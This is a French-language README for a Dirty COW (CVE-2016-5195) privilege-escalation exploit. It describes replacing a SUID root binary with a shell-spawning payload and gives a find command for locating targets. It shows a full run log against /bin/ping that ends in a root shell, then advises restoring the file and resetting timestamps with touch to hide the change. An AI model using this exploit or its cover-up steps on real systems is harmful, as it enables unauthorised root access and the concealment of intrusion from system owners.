
Example exploit for CVE-2016-5195
Je ne suis pas responsable de tout ce que vous faites avec ce code. Ce code est fourni sans aucune garantie.
Exploit pour CVE-2016-5195 qui mappe un exécutable SUID en lecture seule en mémoire (lecture seule) et utilise la condition de concurrence pour le remplacer par un ELF de notre choix. Les charges utiles sont disponibles au format NASM aux côtés du code de l'exploit (cowshell-x86.asm && cowshell-x86_64.asm) si vous souhaitez voir ce qu'il y a à l'intérieur de cashm0ney.
La charge utile élève les privilèges avec setuid(0), place 0 dans vm.dirty_writeback_centisecs pour éviter le crash dû au writeback du système de fichiers, et ouvre un shell (/bin/sh). Cette version ne tente pas d'écrire dans /proc/self/mem, elle devrait donc être viable sur les machines CentOS/RHEL. Elle repose toujours sur ptrace, donc elle peut échouer si ptrace est restreint sur le système cible.
Trouvez un exécutable SUID appartenant à root que votre utilisateur actuel a au moins le droit de lire :
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Opened /bin/ping [*] Backing up /bin/ping to /tmp/ping [*] File mapped at 0x0x7f0cbe7ce000 [*] Waiting for child to alert [*] Starting madvise thread. [*] Alerted by child. [*] Preparing to write 262 bytes [*] Trying to perform writes. [*] Wrote byte to 0 [*] Wrote byte to 1 [*] Wrote byte to 2 [*] Wrote byte to 3 [*] Wrote byte to 4 [*] Wrote byte to 5 [*] Wrote byte to 6 [*] Wrote byte to 7 [*] Wrote byte to 8 SNIP [*] Wrote byte to 259 [*] Wrote byte to 260 [*] Wrote byte to 261 [+] w00t, writes finished [+] Popping shell. Remember to restore /bin/ping from /tmp/ping with correct perms! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
Vous devriez restaurer le binaire qui a été écrasé vers son chemin d'origine à partir de la sauvegarde qui a été créée, et n'oubliez pas de chown && chmod pour lui redonner la propriété et les permissions correctes. Remettez les dates de modification à leur place avec touch pour le trifecta.